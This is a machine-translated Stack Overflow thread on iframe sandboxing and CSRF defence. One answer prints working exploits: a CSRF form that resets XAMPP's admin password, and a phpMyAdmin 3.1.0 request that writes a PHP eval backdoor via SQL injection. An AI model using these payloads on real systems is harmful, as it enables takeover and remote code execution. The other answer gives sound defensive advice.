Как предотвратить CSRF / XSRF-атаки с использованием встроенных фреймов? - PullRequest
2 голосов
/ 26 января 2010

Есть ли способ ограничить то, что iframe разрешено делать в родительском? То, что я ищу, - это модель безопасности вокруг Javascript, которая выглядит примерно так:

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

Оба «доверенных.html» выглядят так:

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>

И «SomethingIShouldnt.php» выглядит так:

NotAllowedToAccess();

А 'untrusted.js' выглядит так:

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');

(Э-э ... извините за то, что перебил.)

Вы заметите несуществующий тег безопасности в коде HTML. Я думал о чем-то вроде декларации CSS селектор-иш с каким-то Apache-подобным синтаксисом безопасности, смешанным для определения правил. (Я не использовал правила window.parent, но, надеюсь, он продемонстрирует достойный обходной путь для браузеров, блокирующих межсайтовый скриптинг, с которыми действительно сложно работать - «Я доверяю родительскому окну доступ только к высоте моего окна и название "). Я надеюсь, что нечто подобное уже существует в какой-то форме (даже черновик спецификации). Но я боюсь, что ответом будет «нет».

Можно ли это сделать (даже частично)? Если нет, то с кем мне нужно поговорить, чтобы реализовать что-то подобное (комитет по стандартам или разработчики браузеров)? Предполагая, конечно, это даже имеет какой-то смысл?

Ответы [ 2 ]

5 голосов
/ 26 января 2010

Краткий ответ - нет, XSRF не имеет ничего общего с фреймами.

Неважно, исходит ли поддельный запрос из iframe. Поддельный запрос должен исходить с другого сервера, чтобы злоумышленник мог его использовать. Взламывает пользовательские фреймы, потому что они могут быть полезны для подделки почтовых запросов в эксплойте XSRF, потому что эксплойт должен использовать javascript для автоматической отправки форума. Вот реальный эксплойт XSRF, который я написал против XAMPP, который меняет административный пароль. Лучше всего выполнить этот javascript / html в iframe, чтобы он был невидим для жертвы, но этот эксплойт может просто перенаправить все окно без iframe, и он все равно изменит пароль администратора.

<html>
 <form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

Но если атака XSRF основана на GET, то iframe не помогает злоумышленнику. Лучше использовать тег img для автоматической отправки поддельного запроса в браузер жертвы. Вот еще один мой эксплойт, написанный для phpMyAdmin 3.1.0. Это загружает php бэкдор в корневой каталог. Этот эксплойт потрясающий, потому что он работает с включенным noscript и влияет на TON систем.

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
1 голос
/ 26 января 2010

Вы можете использовать одну и ту же политику происхождения (SOP) в своих интересах.

Установите для iframe src другой порт, поддомен или домен, и iframe не сможет получить доступ к родительскому контенту.

то есть: для страницы

http://www.mydomain.com/mypage.html

и для iframe, один из следующих

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

Но это не помешает CSRF, если вы полагаетесь только на файлы cookie, доступные на вашей странице.
Если кто-то знает, как разместить запрос на вашем сервере, он сможет это сделать.

Самый простой способ предотвратить это - иметь на своей странице переменную javascript (недоступную из iframe в SOP), которую вы передаете для каждого вашего запроса.

Что-то, что может вас заинтересовать, и извините за спам, так как я уже сегодня публиковал на SO что-то об этом, мы используем iframe для песочницы вызовов JSONP, но для обеспечения защищенной строковой связи между ними.

Вот описание того, как это работает, и есть демонстрационная страница, чтобы увидеть, как он работает.

...